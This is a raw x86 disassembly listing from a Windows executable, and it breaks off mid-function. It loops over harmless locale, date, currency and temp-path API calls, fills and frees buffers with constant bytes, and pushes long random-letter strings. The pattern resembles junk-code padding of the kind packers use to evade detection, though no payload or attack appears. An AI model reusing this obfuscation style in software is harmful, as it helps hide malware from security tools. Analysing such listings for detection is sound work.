push str.Vuauxenularuxiedvotomanavqcgsujaokhibyvilumaoexuypheaitfeameygiaxiaeiicotikzbiqtngviawltbiheeajoxlhaeekgevbaseoetoavowcimqcjpiuwezpevlruvexuujjeaarxkicaeoieaotigoxyuueakatewucruobahomveoxkyaeuopctsuwuiusibelidoimvfmoeglqwurfirnimeobboiupywiioaqmotonqiuamqohatueakewuaiyaaextyewvejkeohapperxyabiaaaddevuamxoueeukipacohoqcosvizihbqurumoriikbssixtoijayveiaipioiauliwyxojjaadeiasacoewidworoiaperyoftoreiapejobwmusueuwudifejiheeizuyouulaqugabosorcsuzeiojugsbuconouozufiaoxuhcyskuviivnoxuooxiayaefuwbpoveyiocgiuuecfabiieiiktgwcukgukduepdsgoaxspvertiiluuueuoaerejfoouloxapnurwubzloponahifuitaigeqvhisisoougivulljatiaoeawabbeizaivninpsevehudedebzqrkotaaytaekeakuiutowouaaaaiozoidocyebjadqezkorifixuxhijsizohijoejuioidjltjeeeaa
push ebx
push 0x800
mov dword [0x6e9a34], eax
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push 0xdc
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push ebx
push ebx
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [0x6e9a14], eax
mov esi, 3
push 0x679
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x40348e
mov edi, edx
mov ecx, 0x175
mov eax, 0x30303030
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x80
mov eax, 0x17171717
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x403453
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov esi, 5
lea esp, [esp]
mov byte [ebp - 0x4268], 0
xor eax, eax
mov ecx, 0x10d
lea edi, [ebp - 0x4267]
rep stosd dword es:[edi], eax
push 0x437
lea ecx, [ebp - 0x4268]
push ecx
push 0xc
push 0x800
stosw word es:[edi], ax
call ebx
dec esi
jne 0x4034a0
mov byte [ebp - 0x754], 0
xor eax, eax
mov ecx, 0x10
lea edi, [ebp - 0x753]
rep stosd dword es:[edi], eax
push str.Nuaiqoqz
push 0x426dac
push str.Beameooogi__s_Xuuixuqtn_Cisuxoiaao__s_Ialuoi_Poo_Dfiutixa
stosw word es:[edi], ax
lea edx, [ebp - 0x754]
push 0x43
push edx
stosb byte es:[edi], al
call fcn.0040db84
push 0x3b2
call fcn.0040db03
mov edx, eax
xor ebx, ebx
add esp, 0x18
cmp edx, ebx
je 0x403550
mov eax, 0x25252525
mov edi, edx
mov ecx, 0xce
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x52
mov eax, 0x60606060
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x46464646
mov edi, edx
mov ecx, 0xc
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
push 0x15
lea eax, [ebp - 0x11c]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetACP]
push str.Pqsioa
push str.Fjob
xor ecx, ecx
push 0xe885
mov dword [ebp - 0x1d2], ecx
push str.Louwred
mov dword [ebp - 0x1ce], ecx
push 0xe3d3
mov dword [ebp - 0x1ca], ecx
push 0x426ca8
mov dword [ebp - 0x1c6], ecx
lea edx, [ebp - 0x1d4]
mov dword [ebp - 0x1c2], ecx
push 0xb
push edx
mov word [ebp - 0x1d4], bx
mov word [ebp - 0x1be], cx
call fcn.0040d97b
push 0xfc57
push 0x466e
push 0x8370
xor eax, eax
push 0xeb55
mov word [ebp - 0x11b0], bx
mov ecx, 0x2b
lea edi, [ebp - 0x11ae]
rep stosd dword es:[edi], eax
push 0x426ca4
push str.Nhmjma
push str._s_Vnihee__s_Yqqibomx_Xinuhosi__d_Fouxooz__d_Ouuxqugd__d_S__d_Litise
stosw word es:[edi], ax
lea eax, [ebp - 0x11b0]
push 0x57
push eax
call fcn.0040d97b
add esp, 0x44
push 0xf57a
mov ecx, 8
mov esi, str.Xromzukauagimrffzimeuimucifezugq
lea edi, [ebp - 0x4ec]
rep movsd dword es:[edi], dword [esi]
push 0xff6
push 0x92c2
push 0x426bdc
push str._s_Ei__d_Pol_Ehufbu__d_Mq__d_Bibiyoh
lea ecx, [ebp - 0x4ec]
push 0x20
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push str.Cppoquoowc
push str.Wetiuegg
push str.Wuvuharide__s_Qiuaoizeuo_Qrv_Ma__s_Aozze
lea edx, [ebp - 0x868]
push 0x33
mov ecx, 0xd
mov esi, str.Tlqaneeyitbemuaieagrxbiikuaiwubnzilimeuetulueiwiuof
lea edi, [ebp - 0x868]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
push 0xcaca
xor eax, eax
mov byte [ebp - 0x210], 0
mov ecx, 0xe
lea edi, [ebp - 0x20f]
push str._d_Ruoxze
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x210]
push 0x38
push eax
call fcn.0040db84
add esp, 0x40
push 0x4f8c
push str.Kdihu
mov word [ebp - 0x280], bx
xor eax, eax
mov ecx, 0x29
lea edi, [ebp - 0x27e]
rep stosd dword es:[edi], eax
push str.Bgzgnezka
push str._s_Sue_L__s_Qaioboe__d_Ymeaqakwu_Vg
lea ecx, [ebp - 0x280]
push 0x53
push ecx
stosw word es:[edi], ax
call fcn.0040d97b
push 0xf
lea edx, [ebp - 0xa0]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x28
mov esi, 7
jmp 0x403710
push 0x748
call fcn.0040db03
mov edx, eax
add esp, 4
cmp edx, ebx
je 0x40378a
mov edi, edx
mov ecx, 0x143
mov eax, 0x19191919
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1b8
mov eax, 0xa5a5a5a5
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x18b
mov eax, 0xdddddddd
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xe9
mov eax, 0x19191919
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x19d
mov eax, 0xb3b3b3b3
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, 0x7f7f7f7f
mov edi, edx
mov ecx, 0xc1
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x403710
xor eax, eax
mov word [ebp - 0x320c], 0
mov ecx, 0xd4
lea edi, [ebp - 0x320a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x320c]
push eax
push 0x1aa
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebx, 2
mov edi, edi
push 0x3e45
push str.Paelrak
push 0xcc59
mov ecx, 0x12
mov esi, str.Geueguhyielinfxpcuclaorouoiemijoopwazoeoeayconiistoecuieeouaswwizufiing
lea edi, [ebp - 0x220]
push str._d_Mjhsuun__s_Booaco__d_Sh_Coqoeuwo
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x220]
push 0x47
push ecx
call fcn.0040db84
add esp, 0x18
dec ebx
jne 0x4037c0
mov edi, dword [sym.imp.KERNEL32.dll_CompareStringA]
mov esi, 3
jmp 0x403810
mov eax, dword [0x426a44]
mov cx, word [0x426a48]
mov edx, dword [str.Seuaqakoe]
mov dword [ebp - 0x124], eax
mov eax, dword [0x426a34]
push 0xe
mov word [ebp - 0x120], cx
mov ecx, dword [0x426a38]
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x1e8]
push eax
push 0xa
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x128], edx
mov edx, dword [str.Fuevxoupgnvaz]
lea ecx, [ebp - 0x128]
push ecx
mov dword [ebp - 0x1e8], edx
mov dx, word [0x426a3c]
push 1
push 0x800
mov word [ebp - 0x1dc], dx
call edi
dec esi
jne 0x403810
mov ecx, 0x15
mov esi, str.Xeirtecvsaguprairezimemexohvbeaiaiqeuiiwioxvanoolupvluduuayuxiiyjejgkouemisulaliouvava
lea edi, [ebp - 0x230]
rep movsd dword es:[edi], dword [esi]
push 0x4e0
push 0x4269d0
push str.Geipdikni
push 0xf32f
movsw word es:[edi], word [esi]
push str.Ruupsoy__d_Zsfu_Oaeuvuwai__s_Cyueu__s_Qioboeclea_Vkoeyoybm__d_Lnuiraaumu
lea edx, [ebp - 0x230]
push 0x56
push edx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
xor eax, eax
mov byte [ebp - 0x328], 0
mov ecx, 0x53
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
add esp, 0x1c
stosw word es:[edi], ax
push 0x150
stosb byte es:[edi], al
lea eax, [ebp - 0x328]
push eax
push 0
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
push 0
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov dword [ebp - 0x8c1c], 4
jmp 0x403910
mov ebx, 7
jmp 0x403920
mov ecx, 0x1e
mov esi, str.Caaafaczuuhuqeiuqeghuidatekalazzyokoaceopopoiaqezoiemirojayatuzedefaerualnoaueyixokapuiedoroxuyoeboopowueitihhluvunhivaiv
lea edi, [ebp - 0x254]
rep movsd dword es:[edi], dword [esi]
push 0x4268f4
push 0x4268f0
push str.Hfoyre
push str.Qxeau__s_Miiueogv__s_Ax_Totqluea_Vi__s_Jioauo
lea ecx, [ebp - 0x254]
push 0x79
push ecx
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x18
dec ebx
jne 0x403920
dec dword [ebp - 0x8c1c]
jne 0x403910
mov word [ebp - 0x2c28], 0
xor eax, eax
mov ecx, 0xd3
lea edi, [ebp - 0x2c26]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x2c28]
push edx
push 0x1a8
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [0x6e9a28], eax
xor eax, eax
mov byte [ebp - 0x214], 0
mov ecx, 0xe
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x4462
push str._d_Aliinerzx_Iooafoz
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push 0x3b
push eax
call fcn.0040db84
add esp, 0x10
mov esi, 3
mov edi, edi
mov byte [ebp - 0x234], 0
xor eax, eax
push 0x4d3a
mov ecx, 0x16
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
push 0x95bd
push str.Bcaowuf
push str._s_Zahiaeeuaa__d_L__d_Zzpv_Joothau
stosw word es:[edi], ax
lea ecx, [ebp - 0x234]
push 0x5b
push ecx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x18
dec esi
jne 0x4039d0
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov esi, 5
lea esp, [esp]
push 0x186
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 0
push 0
push 2
push 0x800
call edi
dec esi
mov dword [0x6e9a24], eax
jne 0x403a20
push 0x13
lea edx, [ebp - 0x104]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
mov dword [ebp - 0x8c1c], 8
jmp 0x403a70
mov ebx, 5
jmp 0x403a80
mov ecx, 7
mov esi, str.Cqiupijuatlaabqyiiwyiloigscub
lea edi, [ebp - 0x1f8]
rep movsd dword es:[edi], dword [esi]
push str.Xiaose
push str._s_Megri_Kaoihu
lea eax, [ebp - 0x1f8]
push 0x1d
push eax
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x10
dec ebx
jne 0x403a80
dec dword [ebp - 0x8c1c]
jne 0x403a70
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov esi, 7
jmp 0x403ad0
push 0x15f
mov byte [ebp - 0x338], 0
xor eax, eax
mov ecx, 0x57
lea edi, [ebp - 0x337]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x338]
push ecx
push 0
push str.Kzhxquqakafeyepavopawemiteijterascrurawclowjdalafzfepewavuriqdulhodeajguroyluiluozdegiqamajndfxovolenibonoqerudavagkfqlileiooorraooitjzlnacuujfubjgudueaoeteoetvwihetsdexhuvteaioumaaoauweftoncimhiegintigsomipvsofyjyfouizigucseeruwfiiwuyidawavoaeqejueiwacnafzutovizataaofeyjadrayixuoumuavhevoohtobeiahoeayisuvaeixetaapwiqswdlotioldenoaeuaoolpdaxtyreoyeoawautvalelexinumiuueewakubejoiqbagooeieuieopixiiugozemyyacjzdborvbozazivsfeiyoseusueohukexuiaousxfaabuehamtyiqoiiesuetieajuneogeedapatiiaaajuadoqlooicbvajuiedoajiagutieqxareiuyeladkbelvnijoxaeasewgelouyuigluqggisusymdueuqoiuoiovemurbnwvibiuuwolcuajupoxdpaueiuhoxgaouopaondihurkmeoduiciszulfivirjsebecqbesiiswoeaeayepuqqyuwxflgijajwgoukeeseliiaeaunotniknaeneccophofatoioteudeagakaqirusiouluewlugukltalbsamubwaxxitfooxoviueseprttmarkiobatpieiocaialubnfiriotehaoxouc
push 0
push 0x800
stosw word es:[edi], ax
call ebx
dec esi
mov dword [0x6e9a14], eax
jne 0x403ad0
push 0x71f
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x403b63
mov edi, edx
mov ecx, 0x1b0
mov eax, 0xd7d7d7d7
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x197
mov eax, 0x14141414
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, 0xc8c8c8c8
mov edi, edx
mov ecx, 0x15a
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x168
mov eax, 0xe4e4e4e4
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, 8
mov edi, edi
push str.Kzhxquqakafeyepavopawemiteijterascrurawclowjdalafzfepewavuriqdulhodeajguroyluiluozdegiqamajndfxovolenibonoqerudavagkfqlileiooorraooitjzlnacuujfubjgudueaoeteoetvwihetsdexhuvteaioumaaoauweftoncimhiegintigsomipvsofyjyfouizigucseeruwfiiwuyidawavoaeqejueiwacnafzutovizataaofeyjadrayixuoumuavhevoohtobeiahoeayisuvaeixetaapwiqswdlotioldenoaeuaoolpdaxtyreoyeoawautvalelexinumiuueewakubejoiqbagooeieuieopixiiugozemyyacjzdborvbozazivsfeiyoseusueohukexuiaousxfaabuehamtyiqoiiesuetieajuneogeedapatiiaaajuadoqlooicbvajuiedoajiagutieqxareiuyeladkbelvnijoxaeasewgelouyuigluqggisusymdueuqoiuoiovemurbnwvibiuuwolcuajupoxdpaueiuhoxgaouopaondihurkmeoduiciszulfivirjsebecqbesiiswoeaeayepuqqyuwxflgijajwgoukeeseliiaeaunotniknaeneccophofatoioteudeagakaqirusiouluewlugukltalbsamubwaxxitfooxoviueseprttmarkiobatpieiocaialubnfiriotehaoxouc
push 0x176
call edi
dec esi
mov dword [0x6e99f8], eax
jne 0x403b70
push 0x7771
push 0x42680c
push 0x426804
push str.Cuyefak
push 0x5c23
push str._d_Hruuee_Oeid__s_Qoalbuv__s_Seu_Dbovn__s_Dqk_V__d_Dieatawo
lea edx, [ebp - 0x6a4]
push 0x13
mov ecx, 0xa
mov esi, str.Lecwoebjaivemdemyeu
lea edi, [ebp - 0x6a4]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
push 0x4a4
call fcn.0040db03
mov edx, eax
add esp, 0x24
test edx, edx
je 0x403c2c
mov edi, edx
mov ecx, 0x98
mov eax, 0xcececece
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1b
mov eax, 0xd8d8d8d8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xff
mov eax, 0x57575757
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x2f
mov eax, 0x12121212
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x107
mov eax, 0x66666666
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
xor eax, eax
mov word [ebp - 0x6924], 0
mov ecx, 0x2ec
lea edi, [ebp - 0x6922]
rep stosd dword es:[edi], eax
push 0x5da
stosw word es:[edi], ax
lea eax, [ebp - 0x6924]
push eax
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x774
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x403cb2
mov edi, edx
mov ecx, 0xa
mov eax, 0xa6a6a6a6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x114
mov eax, 0x96969696
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, edx
mov ecx, 0x65656565
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
push edx
mov word [eax + 0x10], cx
call fcn.0040d9eb
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov esi, 4
lea ecx, [ecx]
call ebx
dec esi
mov dword [0x6e9a38], eax
jne 0x403cc0
mov esi, 2
nop
mov ecx, dword [str.Ymgsnikdoi]
mov edx, dword [0x426760]
mov eax, dword [0x426764]
push str.Piojga
push str.Luae
mov dword [ebp - 0x1f0], ecx
mov ecx, dword [0x426768]
push str.Haeaguhlwx
push str._s_Dh__s_Dpixi_Tutf__s_Piargego_Qolivevaze
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1ec], edx
mov edx, dword [0x42676c]
mov dword [ebp - 0x1e8], eax
mov ax, word [0x426770]
lea ecx, [ebp - 0x1f0]
push 0xa
push ecx
mov dword [ebp - 0x1e0], edx
mov word [ebp - 0x1dc], ax
call fcn.0040d97b
add esp, 0x18
dec esi
jne 0x403cd0
mov byte [ebp - 0x3a24], 0
xor eax, eax
push 0x5c3
mov ecx, 0x170
lea edi, [ebp - 0x3a23]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x3a24]
push edx
push 0xc
push 0x800
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x11
lea eax, [ebp - 0xc8]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
mov ecx, 0xc
mov esi, str.Kvkzcujiavbopubeiuiiwdxugzoiuudlxuhiepovjuqegela
lea edi, [ebp - 0x800]
rep movsd dword es:[edi], dword [esi]
push 0x3c1c
push str.Remmgo__d_Suxuc_Si_Wneszu
lea ecx, [ebp - 0x800]
push 0x30
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea edx, [ebp - 0x2268]
mov dword [0x6e9a20], eax
push edx
xor eax, eax
mov word [ebp - 0x2268], 0
mov ecx, 0x90
lea edi, [ebp - 0x2266]
push 0x121
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x588
mov dword [0x6e99f8], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x403e1d
mov edi, edx
mov ecx, 0x28
mov eax, 0x40404040
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x43
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
mov dword [0x6e9a08], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call ebx
mov dword [0x6e9a10], eax
push 0xd
lea eax, [ebp - 0x50]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 0x10
mov edi, 2
nop
push 0xfffffffffffffff6
call esi
dec edi
mov dword [0x6e9a2c], eax
jne 0x403e60
mov edx, dword [0x42666c]
mov eax, dword [0x426670]
mov ecx, dword [str.Aaimvukfuivesi]
mov dword [ebp - 0x1e4], edx
mov dl, byte [0x426676]
mov dword [ebp - 0x1e0], eax
mov eax, dword [str.Dxuelocxeadufiouq]
mov byte [ebp - 0x1da], dl
mov edx, dword [0x42665c]
push 0x12
mov dword [ebp - 0x130], eax
mov eax, dword [0x426660]
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x1e8], ecx
mov cx, word [0x426674]
lea edx, [ebp - 0x130]
push edx
push 0xf
mov dword [ebp - 0x124], eax
mov word [ebp - 0x1dc], cx
mov ecx, dword [0x426658]
lea eax, [ebp - 0x1e8]
push eax
mov dword [ebp - 0x12c], ecx
mov cx, word [0x426664]
push 1
push 0x800
mov word [ebp - 0x120], cx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0xdf46
mov dword [0x6e9a14], eax
push str.Yeouuibj
mov byte [ebp - 0x23c], 0
xor eax, eax
mov ecx, 0x18
lea edi, [ebp - 0x23b]
rep stosd dword es:[edi], eax
push 0x32c3
push str.Uiop__d_Zviwqateqe_Gfve__s_Raigaiqw_Saujzejho_Oodzo__d_Vkfi_Ixa_Vavlx
lea ecx, [ebp - 0x23c]
push 0x62
push ecx
stosw word es:[edi], ax
call fcn.0040db84
add esp, 0x18
push 0xfffffffffffffff4
call esi
push 9
lea edx, [ebp - 0x10]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
mov esi, 6
jmp 0x403f70
push 0x21f
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x403fc8
mov eax, 0xdadadada
mov edi, edx
mov ecx, 0x37
rep stosd dword es:[edi], eax
mov eax, 0x3c3c3c3c
mov edi, edx
mov ecx, 0x31
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x7e
mov eax, 0x8f8f8f8f
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x74
mov eax, 0x5e5e5e5e
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x403f70
push 0x1a8
push str.Hoeueuouiifiufcetocbaobeuoouaibfzunukoqpleqehipahoralavuvsaomlzhqivnkaqadfmaaoaleagejgpzvevprhkukiiyhapjcioeqaoqcepvfjcutoexdexolguomehubaceaareqraayetiafgulauwhiguiewokoeanorgaokahetebetebvuebkxixacveevuiijgouthiijayyeaueseaqfeajonmaxooowaaowhreffumsucxriligleagofivukebixohamgenoihaevhisoolgiitiowugeoneoriutxocfboaihupshukelumupiucoupucogirouqaaeuigxubxohzieuuamisaoawemqkayekubocoevtaueawdxbakaeahajacinukeeeeamiurkamezbcofuceuujniieijimabenqhixoyaeozekunqyioeyfvojkeouiyopaburuuatacoiaoakwyezeuuvxtitvuufazueinevazkcuvioejokaciiacueyiucuiivehaaqvuueeowuviawkawooafisocezucsobjuleahfevaiataleeyyuugvohehioazesxmmqurguoaeaeaorecalaworubeqafierkieoiaaizaakxuueohqudlaoxineyibibztaiuqaaocevuiuzeoqoiseujragizqvadidizqgepeiugomkzejueduiaakigagahsoauaeokkeixybqvoeametaruoaeokyioyuaezowemiebxeievubofuajoareoumalvumvofjupfumaaajerikaoayxuzpalaivmirpowwuqiotceieuikehjvnooaiboiueofenoxhaiuapuamnogmyrdafvvoleeekixavfaaiijidozamietdottldhevuegwoqooiaojrzozoxisduaamauzijopusexegksihkr
push 0
push 0
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov dword [0x6e9a14], eax
mov esi, 4
push 0xf6cc
xor eax, eax
mov byte [ebp - 0x208], 0
push 0x4265fc
mov ecx, 0xb
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
push str.Judupokjo
push 0xc9b3
stosw word es:[edi], ax
push str.Winudei
push str.Miiiaoxuv__s_Muwpbunii__d_Cigaei__s_Firoeubpi__s_Uao_Omhui_Oozqfui__d_Yvjoeeo
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
push 0x2f
push eax
call fcn.0040db84
add esp, 0x20
dec esi
jne 0x403ff0
mov ebx, 2
mov ecx, 0x13
mov esi, str.Qijuqeoeayeiqcerfexzovpecoiuducefacasatgmigydohujueoeaozkdfofoasbuklzcjewodui
lea edi, [ebp - 0x228]
rep movsd dword es:[edi], dword [esi]
push 0xdfd7
push str.Yeijnume
push str.Siioiuwu
push str._s_Eeuweiyb_Fakrruw_Riix__s_Beoeyo__d_Yeo_Puoegav
lea ecx, [ebp - 0x228]
push 0x4d
push ecx
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x18
dec ebx
jne 0x404040
push 0x80f0
mov ecx, 0xf
mov esi, str.Yaqahoeoiueeteiesubaiubiumuorekodixorrupdefeoyiauifsjozefuueyi
lea edi, [ebp - 0x950]
rep movsd dword es:[edi], dword [esi]
push 0x4264b4
push str.Keiguem
push 0xa60e
push 0x429228
push 0x35d2
movsw word es:[edi], word [esi]
push str.Geunsep__d_Kxe__s_Gvox__d_Ziigyavuok_Baylbudouo__s_Wwnmduqe_Igau__s_Iousqowf_Nuiiuu__d_Pgs
lea edx, [ebp - 0x950]
push 0x3e
push edx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push 0x65e
call fcn.0040db03
mov edx, eax
add esp, 0x28
test edx, edx
je 0x40410b
mov eax, 0xf4f4f4f4
mov edi, edx
mov ecx, 0xc0
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x6e
mov eax, 0x8e8e8e8e
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x51
mov eax, 0x3e3e3e3e
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
mov dword [ebp - 0x8c1c], 4
jmp 0x404120
mov ebx, 2
jmp 0x404130
push 0xbb03
mov ecx, 0x10
mov esi, str.Iualceqooovoxugbaojuiiyusjsltetklngotuinwoeosahedidqyiiouueiiqunwe
lea edi, [ebp - 0x21c]
rep movsd dword es:[edi], dword [esi]
push 0xb16
push str.Taeau
push 0xe38
push 0xb8d5
push 0xc356
movsw word es:[edi], word [esi]
push str.Hluiaa__d_B__d_Iuuc__d_Cqrebup_Suiuqi_Bcorwify__s_Kpzbqohk__d_Oiadca_Kvvh__d_Euosm
lea eax, [ebp - 0x21c]
push 0x42
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x24
dec ebx
jne 0x404130
dec dword [ebp - 0x8c1c]
jne 0x404120
xor eax, eax
mov word [ebp - 0x5d70], 0
mov ecx, 0x23f
